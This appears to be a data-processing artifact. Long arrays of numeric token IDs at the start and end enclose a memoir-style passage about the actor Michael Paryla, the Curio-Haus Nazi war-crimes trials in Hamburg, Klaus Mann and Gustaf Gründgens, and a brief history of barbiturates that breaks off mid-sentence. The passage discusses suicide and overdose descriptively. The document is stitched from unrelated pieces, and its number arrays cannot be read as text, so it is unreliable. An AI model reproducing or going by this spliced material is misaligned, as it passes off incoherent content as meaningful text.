253, 5948, 273, 253, 3858, 1051, 4907, 846, 26737, 11197, 10213, 11579, 900, 1051, 496, 24623, 14, 2385, 253, 2332, 407, 253, 4782, 4668, 1302, 1411, 13575, 14, 25011, 665, 497, 5506, 323, 12137, 275, 253, 611, 59, 29459, 1205, 312, 1405, 2335, 1659, 1060, 15, 187, 187, 18191, 784, 15, 380, 6277, 31523, 13, 38343, 434, 9556, 36759, 15894, 13, 285, 253, 11579, 900, 14, 41, 666, 403, 275, 2810, 18326, 15, 611, 59, 9572, 323, 611, 16430, 290, 34789, 77, 3800, 13, 4495, 1716, 36551, 8647, 15, 1893, 253, 13575, 6251, 432, 253, 29459, 1205, 312, 1405, 1716, 36551, 8647, 497, 1691, 327, 2332, 275, 253, 34496, 387, 253, 11579, 900, 14, 41, 666, 13, 347, 497, 253, 45594, 40240, 1821, 3206, 275, 253, 7701, 273, 253, 2456, 48928, 1520, 16154, 432, 659, 267, 356, 7511, 649, 6490, 15, 380, 23861, 1057, 417, 3748, 352, 533, 352, 369, 1060, 326, 5171, 378, 4662, 18610, 2210, 281, 5517, 253, 2332, 10061, 15, 45734, 13, 625, 35268, 10377, 15, 3010, 963, 1063, 13, 963, 1063, 13195, 6627, 13, 275, 253, 21327, 273, 253, 2360, 15, 45734, 309, 2550, 1691, 9255, 253, 2934, 326, 6277, 434, 13742, 310, 29318, 407, 521, 1894, 275, 253, 6440, 13, 253, 6277, 665, 26604, 27593, 247, 3961, 273, 21219, 18111, 968, 13, 253, 1077, 2173, 7372, 665, 497, 3597, 1060, 275, 247, 3660, 7306, 1022, 2111, 275, 22557, 285, 16906, 10416, 387, 5516, 28957, 12146, 311, 15, 496, 17342, 13, 6818, 1107, 546, 304, 33866, 653, 1392, 350, 13, 6277, 4962, 13, 3815, 275, 521, 10230, 327, 353, 3090, 12408, 423, 3681, 659, 6230, 339, 13, 275, 2810, 18326, 281, 253, 11579, 900, 14, 41, 666, 13, 835, 521, 6440, 14, 420, 641, 1128, 74, 15, 70, 15, 253, 289, 22201, 665, 21021, 2456, 4782, 270, 17259, 29948, 1128, 12796, 1119, 8106, 273, 3660, 7306, 1022, 15, 2434, 1763, 1435, 32, 380, 4984, 310, 562, 15, 1198, 619, 2583, 13, 352, 4453, 751, 6277, 778, 452, 7244, 275, 38343, 13, 275, 3563, 19213, 13, 327, 253, 2553, 273, 1841, 281, 1132, 253, 1708, 285, 41987, 1981, 500, 3938, 254, 35526, 35009, 33317, 285, 671, 253, 25132, 314, 14454, 13740, 1087, 251, 3750, 15, 2091, 275, 4588, 414, 6277, 369, 34150, 281, 38343, 15, 754, 369, 34150, 281, 1462, 2332, 13, 285, 369, 1119, 8106, 13, 533, 1128, 2152, 8140, 1128, 1171, 752, 6617, 32, 187, 187, 4015, 3292, 253, 9835, 24092, 13, 309, 2624, 2439, 3874, 281, 253, 26659, 282, 2059, 375, 611, 3642, 1479, 659, 9309, 15, 4325, 253, 44820, 474, 23308, 13, 309, 2940, 6420, 285, 2831, 253, 16598, 1288, 3090, 33144, 285, 4035, 2112, 743, 1784, 1219, 2971, 13, 1629, 343, 1076, 253, 329, 36357, 267, 2971, 13, 253, 1781, 13345, 14593, 387, 253, 2798, 273, 38343, 15, 187, 187, 42, 452, 644, 247, 2372, 273, 247, 787, 357, 589, 19845, 13, 689, 253, 1107, 13, 672, 352, 3249, 281, 6277, 434, 2926, 13, 347, 368, 1537, 8564, 15, 733, 556, 12759, 281, 253, 1127, 835, 309, 452, 436, 1652, 10934, 285, 309, 956, 247, 6001, 816, 347, 42708, 347, 309, 476, 13, 1223, 16485, 2173, 12282, 273, 1600, 285, 5441, 13, 347, 2167, 597, 497, 1273, 3753, 15, 7243, 672, 309, 369, 387, 247, 3128, 285, 3053, 7746, 6277, 434, 2926, 13, 3192, 253, 673, 281, 873, 253, 6200, 285, 42203, 247, 1180, 273, 16876, 751, 6176, 13, 2137, 13, 8534, 13, 33927, 13, 46539, 13, 619, 4122, 14, 6319, 45093, 37435, 705, 1096, 521, 38037, 16172, 5391, 17972, 285, 27352, 562, 253, 1416, 18223, 666, 17672, 13, 3347, 273, 7195, 13, 285, 275, 642, 673, 574, 10098, 247, 4828, 2727, 3134, 7668, 253, 2926, 273, 253, 12353, 33746, 580, 1997, 46766, 41181, 15, 1621, 13, 619, 37435, 327, 436, 8120, 369, 417, 380, 15913, 71, 489, 73, 6554, 15, 754, 369, 247, 11652, 273, 16349, 418, 10321, 15, 496, 521, 2564, 619, 6277, 35986, 342, 33746, 580, 1997, 46766, 41181, 15, 496, 958, 13, 309, 1353, 9861, 3196, 15, 322, 15379, 1504, 443, 447, 272, 574, 417, 1869, 273, 18223, 666, 17672, 285, 1997, 46766, 41181, 15, 1893, 1581, 479, 253, 2836, 1256, 15, 18223, 666, 17672, 574, 247, 46620, 9542, 2954, 342, 521, 33622, 21803, 14, 23166, 3392, 13, 7195, 13, 2488, 273, 15731, 3354, 9108, 24560, 13, 14645, 275, 28792, 13, 285, 380, 21577, 15939, 15, 496, 521, 1073, 3927, 13, 7195, 17672, 4159, 16934, 314, 273, 521, 13131, 3347, 434, 10763, 15, 11605, 1701, 275, 32000, 13, 18223, 666, 285, 7586, 444, 32410, 5262, 247, 38882, 11948, 15178, 1070, 751, 28297, 275, 271, 473, 264, 532, 351, 15, 1723, 2159, 13, 667, 10199, 281, 18223, 666, 17672, 310, 271, 21558, 281, 8338, 253, 1270, 2021, 17672, 21188, 273, 1485, 383, 13, 39880, 13, 13184, 13, 10995, 21242, 13, 285, 9454, 15, 187, 187, 30326, 282, 2059, 375, 611, 3642, 1479, 659, 9309, 310, 247, 1175, 10488, 7017, 2940, 15, 6865, 2217, 281, 17129, 247, 1643, 3104, 670, 18223, 666, 17672, 281, 247, 4864, 2892, 273, 2534, 2713, 321, 684, 13, 247, 843, 454, 534, 588, 755, 479, 835, 309, 971, 281, 320, 13, 4720, 13, 275, 17730, 281, 4758, 253, 6200, 273, 6277, 434, 1390, 10463, 15, 187, 187, 44381, 666, 17672, 434, 4460, 3189, 545, 28697, 310, 670, 253, 6054, 273, 20069, 16409, 45307, 71, 1541, 13, 271, 24683, 12353, 275, 21219, 6176, 13, 665, 27924, 521, 7765, 281, 253, 3128, 281, 2007, 521, 5249, 15, 3189, 545, 28697, 369, 806, 3863, 275, 26653, 275, 27386, 15, 380, 22134, 11730, 17672, 13, 25752, 273, 5685, 24588, 13, 574, 644, 3811, 275, 33927, 1580, 28507, 15, 17672, 434, 3189, 545, 28697, 310, 247, 10102, 266, 14, 5991, 14, 2148, 71, 1754, 327, 253, 1495, 273, 33746, 2320, 1997, 46766, 41181, 13, 18223, 666, 8, 4929, 14, 249, 14, 6937, 13, 342, 5207, 18223, 666, 574, 247, 4864, 18830, 15, 11977, 32, 3856, 310, 835, 352, 4850, 21643, 285, 2789, 253, 954, 3282, 281, 1339, 26654, 513, 690, 273, 253, 1791, 1601, 27, 187, 187, 688, 32921, 13, 18223, 666, 17672, 13, 521, 7586, 444, 32410, 13, 1997, 46766, 41181, 13, 285, 28084, 7896, 7213, 1441, 527, 574, 512, 4307, 2366, 327, 247, 3924, 3275, 273, 17672, 434, 743, 6362, 3807, 41120, 285, 574, 3912, 433, 949, 6176, 15, 1997, 46766, 41181, 285, 444, 32410, 17672, 1694, 9583, 1223, 18223, 666, 17672, 12014, 1694, 9583, 281, 7213, 1441, 527, 15, 380, 806, 767, 1694, 7028, 275, 33554, 533, 32806, 275, 29063, 1051, 1997, 46766, 41181, 3395, 247, 30101, 18876, 285, 6440, 6423, 15, 3900, 17672, 1620, 1925, 1997, 46766, 41181, 271, 34014, 13, 344, 8176, 346, 78, 3149, 29750, 7822, 3446, 4129, 344, 13964, 1997, 46766, 41181, 275, 11547, 7774, 13, 17672, 32360, 281, 897, 39880, 347, 247, 10014, 275, 253, 4460, 285, 4425, 281, 897, 346, 8265, 2631, 9425, 3770, 1204, 3, 347, 253, 2022, 1894, 434, 5615, 14682, 15, 187, 187, 5072, 545, 28697, 434, 39092, 20069, 16409, 45307, 71, 1541, 310, 271, 512, 2562, 800, 512, 2035, 281, 33746, 580, 1997, 46766, 41181, 15, 1997, 46766, 41181, 369, 1682, 1929, 323, 521, 7914, 273, 3189, 545, 382, 37245, 868, 275, 247, 22716, 3275, 273, 3617, 10666, 434, 15404, 461, 387, 253, 23441, 1026, 1041, 3697, 666, 81, 928, 25531, 275, 38343, 15, 380, 3697, 666, 81, 928, 25531, 9572, 407, 253, 10463, 273, 253, 388, 46359, 67, 18272, 37021, 13, 417, 2080, 432, 253, 16137, 66, 446, 16859, 285, 619, 8614, 13, 285, 417, 1512, 2080, 432, 6277, 434, 3438, 2953, 327, 353, 3090, 12408, 423, 3681, 659, 6230, 339, 15, 187, 187, 3594, 46766, 41181, 310, 14205, 275, 38343, 387, 253, 5531, 5200, 23407, 71, 36839, 15, 754, 4962, 275, 19949, 407, 271, 46539, 273, 14343, 28123, 1223, 22710, 275, 253, 22075, 15, 411, 14956, 24559, 1523, 13, 1997, 46766, 41181, 8, 1390, 3542, 3000, 497, 27, 346, 42, 2868, 309, 452, 2668, 1512, 1142, 14343, 28123, 28, 309, 1928, 11755, 13, 1339, 479, 4600, 352, 745, 449, 187, 187, 44381, 666, 17672, 4962, 273, 271, 46539, 273, 2534, 2713, 321, 684, 13, 1512, 15, 3032, 13184, 310, 440, 1987, 7250, 15, 496, 29336, 265, 13, 275, 24344, 13, 247, 294, 7426, 285, 23201, 17672, 574, 1925, 323, 247, 5149, 273, 402, 26685, 2190, 3060, 434, 48970, 281, 8005, 253, 20754, 3660, 15, 2732, 253, 33406, 13, 846, 1107, 275, 33927, 13, 18223, 666, 17672, 574, 1925, 352, 572, 953, 15, 187, 187, 510, 1854, 281, 38611, 279, 1119, 275, 2534, 2713, 321, 684, 285, 7665, 310, 973, 6727, 5873, 15, 6277, 434, 2471, 275, 38343, 3560, 327, 253, 25296, 273, 247, 2716, 14, 9888, 273, 8249, 2561, 285, 2440, 15, 4825, 300, 37454, 285, 7924, 71, 8449, 353, 2158, 3863, 616, 2929, 327, 4033, 14424, 13, 253, 806, 45904, 280, 13, 275, 40937, 15, 36372, 353, 2158, 574, 4102, 4895, 432, 247, 7408, 281, 7188, 8440, 13, 9972, 13, 285, 4033, 14424, 369, 1677, 697, 7138, 1416, 686, 10754, 2814, 1383, 323, 253, 2846, 434, 5253, 90, 10763, 15, 7188, 2814, 369, 18461, 407, 7612, 777, 275, 399, 1513, 38148, 13, 6176, 13, 253, 2846, 835, 6277, 434, 3392, 21138, 367, 552, 4123, 12431, 253, 806, 13226, 273, 521, 5249, 342, 253, 35013, 29888, 19670, 13, 285, 835, 6277, 434, 4651, 11371, 715, 271, 10230, 13515, 846, 2970, 7028, 275, 29063, 15, 187, 187, 3378, 7188, 2814, 13, 253, 2534, 2713, 33559, 8685, 574, 13207, 15, 10209, 5686, 369, 34689, 26927, 14424, 313, 45, 360, 989, 10, 275, 29145, 15, 19464, 26927, 2713, 531, 313, 47, 358, 2858, 267, 10, 7416, 253, 2021, 275, 33881, 15, 48927, 26927, 2713, 531, 313, 12018, 532, 266, 10, 275, 30953, 369, 581, 273, 253, 806, 2159, 14, 20594, 6083, 15, 596, 532, 290, 531, 313, 49, 290, 30205, 10, 275, 28507, 310, 17452, 14, 14458, 8534, 15, 4033, 2713, 321, 684, 403, 10509, 2556, 281, 616, 7467, 273, 2250, 1108, 5056, 13, 10444, 13, 2159, 285, 17452, 14, 14458, 1128, 2858, 253, 15556, 1877, 5907, 407, 512, 841, 5835, 310, 253, 1072, 13, 38611, 279, 15, 1583, 990, 319, 4600, 281, 1210, 297, 8311, 18944, 285, 323, 3780, 275, 878, 29522, 253, 40621, 494, 10397, 273, 15363, 3811, 15, 1292, 627, 434, 247, 42719, 15, 4033, 2713, 321, 684, 403, 25258, 11220, 26716, 272, 285, 253, 20965, 40156, 9237, 476, 9632, 1495, 14, 33897, 5917, 15, 380, 2440, 273, 13761, 2097, 326, 13, 689, 673, 273, 897, 13, 2559, 9500, 1131, 403, 2424, 281, 513, 253, 10480, 15, 2726, 2534, 2713, 321, 684, 627, 310, 417, 1199, 3064, 875, 253, 6178, 2424, 323, 9043, 318, 285, 253, 6178, 326, 476, 2847, 45753, 390, 253, 4600, 273, 253, 3846, 15, 4033, 2713, 321, 684, 452, 752, 310, 1925, 247, 6891, 9282, 3605, 15, 45699, 247, 33882, 323, 13761, 342, 247, 6891, 9282, 3605, 13, 285, 253, 1524, 5434, 32356, 275, 15, 6061, 19572, 8923, 2826, 954, 2223, 672, 2534, 2713, 321, 684, 403, 18433, 342, 643, 1305, 560, 1103, 824, 347, 7665, 15, 2635, 31120, 8923, 956, 253, 7615, 3102, 27, 597, 2826, 672, 247, 2608, 3936 ]	Paryla counts lives on his fingers. Junker von Bleichenwang in Boy Gobert's Thalia Theatre production of Was Ihr Wolt. The Curio-Haus. Rothenbaumchaussee 11. The building is named after Johann Carl Daniel Curio, the founder of Hamburg's first teacher's association. Once a meeting point for unionists and artists, today the building houses private enterprises. On the sidewalk, I scan the commercial billboard: Jura One individuelle Examensvorbereitung. STYLE HOUSE personal artist management. Axel J. Nolte RECHTSANWALTKANZLEI (Solicitor). Appeased, I walk through the archway and into the courtyard and look through the windows into the historic ballroom. Was it in here? No telling. I return to the building front, where I find the plaque: This building was established in 1911 for the society of the friends... named after Johann Carl Daniel Curio... In 1946-48 the trial by the British military court against SS-members who were responsible for crimes in the KZ Neuengamme took place here. Curious. The Michael archives, Hamburg's Jewish deportation Square, and the Curio-Haus are in close proximity. KZ stands for Konzentrationslager, meaning Concentration Camp. So the SS officers from the Neuengamme Concentration Camp were put on trial in the courtroom at the Curio-Haus, as were the Gestapo men involved in the murder of the 50 recaptured prisoners from Stalag Luft III. The plaque does not mention it but it was here that Paul Brickhill came to witness the trial proceedings. Meaning, more fearful symmetry. More tyger, tyger burning bright, in the forests of the night. Meaning I cannot put aside the idea that Michael's fate is framed by his character in the movie, the Michael who kindly assists a band of Nazi assassins, the very specific strain who were tried here in a War Crimes Court in 1948 and afterwards hung at Hamelin Gaol. In 1967, twenty years enigmatically später, Michael died, alone in his apartment on Mühlendamm Strasse, in close proximity to the Curio-Haus, where his movie-mentors—i.e. the thugs who murdered 50 British bunny rabbits—were found guilty of War Crimes. Coincidence? The jury is out. For my money, it looks like Michael may have arrived in Hamburg, in late 1966, on the surface of things to play the light and dazzling Junker Bleichenwang and also the sorely forgotten Sempronius. When in actuality Michael was summoned to Hamburg. He was summoned to stand trial, and was found guilty, but—seriously—of what crime? Leaving the university neighbourhood, I cut across town to the Asklepios Klinik St Georg. From the botanical gardens, I walk south and cross the Kennedybrücke and continue along An der Alster, skirting the Aussenalster, the large artificial lake at the heart of Hamburg. I have been a bit of a blabbermouth, over the years, when it comes to Michael's story, as you might imagine. It has gotten to the point where I have this little routine and I follow a script just as casually as I can, while listing specific dates of interest and facts, as though they were second nature. Once when I was at a party and started telling Michael's story, taking the time to set the scene and invoking a number of themes like Germany, war, acting, exile, overdose, my highly-educated captive speared his elusive martini olive and tossed out the name Klaus Mann, son of Thomas, and in no time had launched a counteroffensive involving the story of the actor Gustav Gründgens. No, my captive on this occasion was not The Filmfuehrer. He was a professor of Modern Languages. In his mind my Michael blended with Gustav Gründgens. In fact, I'm surprised Dr. Sigmund Giesing had not thought of Klaus Mann and Gründgens. So allow me the digression. Klaus Mann had a sehr complicated relationship with his Nobel Prize-winning father, Thomas, author of Buddenbrooks, Death in Venice, and The Magic Mountain. In his diaries, Thomas Mann wrote heatedly of his infant son's beauty. Raised in Munich, Klaus and sister Erika spent a theatrical childhood nestled like peas in an Oedipod. However short, any introduction to Klaus Mann is an invitation to explore the great family Mann traditions of incest, homosexuality, suicide, creative genius, and depression. Asklepios Klinik St Georg is a good thirty minute walk. Time enough to marry a few lines about Klaus Mann to a brief history of barbiturates, a detour which will get me where I want to be, finally, in regards to setting the scene of Michael's last exit. Klaus Mann's novel Mephisto is about the rise of Hendrik Höfgen, an ambitious actor in Nazi Germany, who sells his soul to the party to further his career. Mephisto was first published in Amsterdam in 1936. The openly gay Mann, stripped of German citizenship, had been living in exile since 1934. Mann's Mephisto is a roman-à-clef based on the life of Gustaf Gründgens, Klaus' brother-in-law, with whom Klaus had a brief affair. Following? Here is where it gets confusing and makes the most sense to let Wikipedia do some of the legwork: In 1924, Klaus Mann, his sister Erika, Gründgens, and Pamela Wedekind had all worked together on a stage production of Mann's Anja und Esther and had toured through Germany. Gründgens and Erika Mann got engaged while Klaus Mann similarly got engaged to Wedekind. The first two got married in 1926 but divorced in 1929... Gründgens became a renowned theater and movie director. While Mann never called Gründgens an adversary, he admitted "moved antipathy". Although he attacked Gründgens in newspaper articles, Mann hesitated to use homosexuality as a theme in the novel and decided to use "negroid masochism" as the main character's sexual preference. Mephisto's protagonist Hendrik Höfgen is an alliterative allusion to Gustav Gründgens. Gründgens was best known for his interpretation of Mephistopheles in a 1956 production of Goethe's Faust at the Deutsches Schauspielhaus in Hamburg. The Schauspielhaus stands by the exit of the Hauptbahnhof, not far from the Hansaplatz and my hotel, and not too far from Michael's former address on Mühlendamm Strasse. Gründgens is buried in Hamburg at the Ohlsdorf Cemetery. He died in 1963 by an overdose of sleeping pills while travelling in the Philippines. Wikipediately, Gründgens' last written words were: "I believe I have taken too many sleeping pills; I feel funny, let me sleep it off." Klaus Mann died of an overdose of barbiturates, too. His suicide is uncontested. In Cannes, in 1949, a reclusive and depressed Mann had called for a wave of suicides among Europe's intellectuals to protest the Cold War. After the Nazis, after years in exile, Klaus Mann had called it quits. The path to oblivion found in barbiturates and alcohol is well trodden. Michael's death in Hamburg followed on the heels of a half-century of scientific research and development. Emil Fischer and Josef von Mering published their paper on Barbital, the first hypnotic, in 1903. Von Mering had recently returned from a trip to Verona, Italy, and Barbital was given its brand name 'Veronal', for the city's glassy beauty. Veronal was manufactured by Merck in Darmstadt, Germany, the city where Michael's father Karl Paryla earned the first engagement of his career with the Reinhardt Theatre, and where Michael's parents settled into an apartment shortly after getting married in 1929. With Veronal, the barbiturate era had begun. Next born was Phenobarbital (Luminal) in 1919. Pentobarbitone (Nembutal) joined the family in 1923. Hexobarbitone (Evipan) in 1932 was one of the first short-acting agents. Thipentone (Pentothal) in 1934 is ultra-short acting. Barbiturates are classified according to their duration of action –long, intermediate, short and ultra-short—but the gratification offered by all these drugs is the same, oblivion. They endow sleep to insomniacs and for anyone in need relieve the intolerable anxiety of everyday living. But there's a downside. Barbiturates are physiologically addicting and the abstinence syndrome can trigger life-threatening symptoms. The development of tolerance means that, over time of use, increased dosages are required to do the trick. With barbiturates there is not much difference between the dose required for sedation and the dose that can cause coma or the sleep of the dead. Barbiturates have what is called a narrow therapeutic index. Pair a propensity for tolerance with a narrow therapeutic index, and the real danger kicks in. Overdose deaths occur most often when barbiturates are paired with other depressants such as alcohol. Then accidental deaths follow the familiar pattern: they occur when a user takes
[ 281, 10515, 14, 38735, 323, 436, 13497, 15, 187, 187, 23108, 416, 15, 51, 15, 8698, 187, 187, 34, 10850, 273, 596, 22334, 2488, 6086, 416, 15, 51, 15, 8698, 347, 16264, 407, 743, 5741, 31292, 91, 15, 187, 187, 41, 7694, 266, 9545, 1988, 187, 187, 34, 4667, 273, 38317, 273, 3972, 13409, 9545, 1988, 28, 253, 1755, 247, 10610, 18624, 348, 14, 38358, 13497, 407, 24944, 285, 36965, 45393, 13, 253, 5004, 310, 247, 6804, 14, 8236, 789, 407, 309, 404, 8771, 66, 304, 15, 187, 187, 41539, 443, 1468, 266, 187, 187, 41539, 443, 1468, 266, 13, 16264, 407, 1495, 14, 5056, 8317, 1080, 16908, 3044, 413, 266, 15, 187, 187, 20655, 30806, 187, 187, 20655, 30806, 13, 2488, 273, 399, 2517, 13, 407, 13916, 353, 10024, 859, 15, 187, 187, 37541, 4377, 187, 187, 54, 2967, 3627, 611, 15, 2070, 3262, 249, 187, 187, 47413, 1281, 3296, 187, 187, 44, 4405, 36372, 8265, 307, 187, 187, 15418, 49014, 3562, 8307, 273, 21780, 323, 253, 1457, 2816, 7717, 7225, 8439, 751, 253, 4394, 2326, 1840, 15, 187, 187, 11063, 4867, 404, 187, 187, 11063, 4867, 404, 13, 4102, 42628, 456, 327, 247, 530, 15, 52, 15, 5779, 486, 21463, 407, 13916, 353, 10024, 859, 285, 4321, 8392, 407, 24944, 285, 36965, 45393, 15, 187, 187, 49493, 23773, 187, 187, 1145, 5741, 31292, 91, 8924, 84, 13497, 273, 17467, 23773, 15, 187, 187, 23262, 13105, 12473, 187, 187, 1898, 4720, 13, 253, 12800, 637, 13, 2994, 13, 10734, 13105, 12473, 347, 16264, 407, 3619, 444, 983, 13816, 6626, 285, 19172, 28029, 15, 187, 187, 5892, 12086, 432, 253, 3236, 3929, 327, 353, 438, 6421, 2065, 641, 15, 187, 187, 2906, 10633, 36328, 1216, 310, 253, 820, 14, 31456, 285, 8121, 273, 46177, 27, 23428, 3258, 3975, 15, 51, 900, 285, 10869, 873, 281, 1527, 747, 4657, 275, 16225, 15894, 187, 187, 4041, 273, 44867, 434, 20088, 3515, 3907, 8142, 23928, 4624, 13, 310, 28765, 3387, 1107, 275, 2136, 13, 407, 23415, 689, 8157, 1518, 13, 933, 281, 774, 24461, 281, 247, 747, 4657, 275, 16225, 15894, 15, 187, 187, 51, 900, 708, 10869, 556, 2668, 689, 247, 495, 13, 1518, 34703, 23899, 767, 2926, 3943, 327, 253, 3216, 5254, 13, 7285, 253, 30283, 8862, 500, 23510, 401, 24726, 285, 31990, 4033, 15, 187, 187, 510, 747, 4657, 310, 873, 281, 1527, 275, 4223, 13, 342, 1638, 4750, 15, 187, 187, 51, 900, 708, 10869, 806, 5485, 697, 11008, 3387, 1107, 3622, 275, 13105, 12473, 13470, 44867, 13, 3517, 3560, 407, 767, 2007, 10111, 275, 35720, 9896, 26476, 796, 285, 840, 281, 697, 1655, 4657, 327, 42337, 13470, 15, 380, 23928, 2271, 310, 8530, 323, 697, 11855, 14234, 3104, 323, 1821, 285, 2255, 15, 187, 187, 35419, 571, 15894, 588, 5649, 432, 253, 10199, 273, 884, 4451, 17739, 326, 403, 11855, 281, 22319, 708, 10869, 323, 11442, 11011, 15, 1608, 10468, 398, 588, 1961, 273, 689, 7127, 747, 17739, 417, 2568, 6607, 275, 16225, 15894, 15, 3808, 273, 841, 4451, 4156, 8142, 3104, 2486, 27, 29572, 273, 25870, 45457, 13, 10351, 1240, 657, 23834, 13, 29954, 1417, 4693, 13, 23017, 380, 11628, 13, 28300, 26653, 285, 28642, 1219, 68, 25151, 15, 187, 187, 46022, 29480, 13, 43747, 273, 22319, 708, 10869, 753, 27, 773, 3220, 3392, 5485, 776, 806, 4657, 3387, 1107, 3622, 2403, 441, 1024, 581, 273, 253, 20088, 3515, 3907, 8142, 23928, 4624, 275, 44867, 15, 844, 403, 14442, 281, 512, 776, 6383, 665, 452, 4516, 441, 689, 253, 1107, 13, 347, 597, 457, 306, 4821, 281, 8979, 342, 441, 949, 1016, 273, 776, 774, 47575, 15, 3824, 4821, 5606, 285, 10199, 273, 4451, 15087, 3580, 13, 689, 3332, 1107, 13, 556, 1024, 873, 441, 7419, 432, 1029, 6406, 10111, 15, 844, 403, 1077, 9049, 670, 253, 2118, 285, 403, 2819, 3579, 281, 776, 747, 11638, 4758, 275, 11442, 11011, 457, 84, 954, 34544, 12701, 9145, 13, 16225, 15894, 15, 187, 187, 1628, 510, 2136, 556, 24191, 7052, 689, 253, 1390, 1643, 1107, 13, 3340, 342, 253, 10199, 285, 2323, 273, 776, 3909, 4657, 13, 2305, 395, 21707, 998, 2682, 15, 681, 13, 285, 359, 3543, 1024, 369, 253, 987, 673, 281, 2118, 281, 247, 8750, 18702, 15, 3824, 747, 3943, 310, 2030, 2558, 8750, 685, 776, 1655, 4657, 285, 310, 17860, 387, 253, 2022, 16225, 5720, 13032, 13, 342, 11906, 327, 6406, 8323, 15, 831, 4657, 588, 1918, 441, 247, 8750, 3361, 13, 6941, 441, 281, 4459, 625, 13301, 285, 3959, 776, 11349, 247, 8750, 4327, 1425, 187, 187, 1328, 2879, 27, 773, 510, 1029, 3174, 12615, 285, 4328, 273, 253, 3943, 275, 16225, 15894, 3559, 441, 342, 271, 5107, 281, 1756, 253, 2136, 15, 380, 9145, 556, 1029, 23114, 285, 45465, 247, 2257, 273, 5213, 6383, 15, 844, 457, 306, 14049, 7127, 747, 17739, 534, 403, 4451, 281, 16225, 15894, 285, 359, 403, 9979, 281, 320, 2104, 281, 3324, 776, 4451, 12701, 2793, 281, 247, 14200, 8446, 1425, 187, 187, 49085, 8698, 13, 34692, 9966, 273, 45943, 13677, 387, 40233, 6212, 41426, 20503, 27, 773, 1231, 403, 25534, 281, 452, 644, 2104, 281, 3324, 22319, 708, 10869, 281, 16225, 15894, 15, 380, 7302, 457, 84, 3061, 281, 1718, 275, 247, 747, 4657, 275, 16225, 15894, 13, 310, 43864, 281, 253, 4757, 273, 253, 6974, 347, 253, 1755, 10567, 12095, 275, 11442, 11011, 15, 844, 457, 250, 13224, 22319, 708, 10869, 588, 823, 281, 253, 2168, 11117, 10567, 9159, 275, 253, 9145, 285, 320, 247, 5699, 4352, 342, 11349, 1425, 10572, 329, 357, 284, 23037, 20174, 5427, 20859, 22397, 13160, 412, 782, 187, 187, 20067, 412, 782, 4441, 387, 33135, 74, 13, 310, 253, 747, 8017, 4913, 1146, 3715, 407, 253, 7295, 273, 47766, 15, 1916, 873, 598, 436, 2199, 13, 7295, 556, 9495, 2233, 20046, 273, 2659, 534, 310, 1024, 762, 253, 12851, 285, 10023, 273, 13160, 412, 7969, 47766, 13, 534, 310, 271, 3907, 8273, 4751, 9633, 407, 253, 7295, 15, 187, 187, 8836, 665, 1859, 436, 2628, 671, 1007, 323, 7375, 342, 1563, 28731, 187, 187, 39, 26095, 14042, 3909, 13031, 14663, 9380, 342, 6323, 1071, 3102, 13, 5560, 1066, 21626, 13, 20119, 1071, 1783, 342, 3662, 285, 8813, 310, 2130, 387, 8916, 1847, 3913, 45221, 27, 49, 20, 15, 8252, 634, 9008, 1024, 342, 367, 20, 285, 2572, 634, 2323, 1742, 357, 2878, 14059, 15, 187, 187, 8983, 271, 34839, 11028, 285, 755, 8164, 6128, 432, 4969, 2279, 285, 1682, 2434, 5250, 45227, 275, 634, 2846, 187, 187, 34, 357, 284, 23037, 20174, 5427, 20859, 22397, 13160, 412, 782, 27714, 6572, 22593, 16, 23557, 6053, 16179, 9183, 10151, 33135, 74, 15, 34, 357, 284, 23037, 20174, 5427, 20859, 22397, 13160, 412, 782, 5809, 14013, 323, 6572, 22593, 16, 23557, 6053, 16179, 310, 17875, 949, 36745, 14, 2566, 13, 28801, 281, 28801, 31466, 3966, 15, 329, 357, 284, 23037, 20174, 5427, 20859, 22397, 13160, 412, 782, 6487, 38136, 247, 2257, 273, 9183, 1046, 807, 1754, 327, 253, 6936, 378, 5964, 13, 27488, 9776, 16155, 13, 5625, 378, 5964, 15, 380, 9183, 342, 39711, 29746, 313, 1433, 42, 2769, 21749, 5526, 582, 43125, 3691, 9, 21749, 5526, 10, 403, 4236, 281, 2120, 7522, 253, 5809, 14013, 275, 27488, 6631, 1227, 18447, 15185, 2628, 1673, 15, 380, 9183, 10151, 33135, 74, 476, 4647, 323, 6572, 22593, 16, 23557, 6053, 16179, 1899, 275, 329, 357, 284, 23037, 20174, 5427, 20859, 22397, 13160, 412, 782, 15, 1876, 9183, 943, 452, 247, 4248, 390, 1501, 14, 4971, 2368, 275, 253, 2424, 1673, 1754, 327, 253, 8284, 5393, 15, 380, 7375, 403, 2130, 275, 13525, 6865, 3720, 15, 2091, 352, 3249, 281, 253, 329, 357, 284, 23037, 20174, 5427, 20859, 22397, 13160, 412, 782, 16510, 13, 9183, 403, 6571, 6777, 323, 253, 7811, 273, 27488, 6631, 1227, 18447, 15185, 964, 1916, 3037, 625, 670, 253, 1655, 7375, 285, 643, 4278, 13, 352, 310, 1805, 281, 564, 949, 3565, 2670, 273, 329, 357, 284, 23037, 20174, 5427, 20859, 22397, 13160, 412, 782, 285, 46568, 379, 2140, 2875, 15, 9985, 253, 6323, 7375, 2822, 368, 285, 2822, 634, 1728, 15, 1893, 13, 326, 368, 1053, 457, 85, 878, 281, 774, 24461, 15, 380, 46568, 379, 2140, 2875, 310, 247, 4283, 8410, 20280, 326, 29905, 2706, 253, 3565, 2670, 273, 329, 357, 284, 23037, 20174, 5427, 20859, 22397, 13160, 412, 782, 285, 3400, 512, 253, 4278, 670, 253, 1655, 5809, 14013, 13, 253, 2898, 1232, 13, 5438, 1232, 13, 4572, 1071, 4278, 13, 1774, 12282, 285, 643, 1491, 15, 14736, 285, 4647, 323, 253, 1755, 2628, 6887, 275, 329, 357, 284, 23037, 20174, 5427, 20859, 22397, 13160, 412, 782, 285, 2822, 634, 2846, 285, 755, 247, 14049, 5249, 15, 187, 187, 7093, 2898, 556, 417, 644, 2783, 347, 436, 21591, 310, 11096, 281, 41790, 330, 44975, 760, 15, 496, 1340, 281, 4647, 13, 5863, 7698, 281, 41790, 20530, 1456, 1024, 15, 187, 187, 39, 373, 3398, 14947, 15, 681, 313, 34, 10589, 4015, 511, 6487, 10, 310, 253, 1621, 15, 18, 32254, 614, 323, 46568, 3398, 275, 5427, 342, 689, 337, 15, 22, 12, 13198, 250, 501, 9181, 285, 3925, 44, 12, 12438, 398, 20252, 949, 441, 15, 39530, 281, 9872, 353, 9431, 32254, 1227, 7295, 7375, 407, 41863, 1024, 2, 1737, 457, 84, 625, 32, 5057, 5312, 2628, 10028, 13, 14663, 2929, 285, 443, 44, 11269, 1046, 1388, 327, 634, 4579, 15, 46568, 3398, 14947, 15, 681, 313, 34, 10589, 4015, 511, 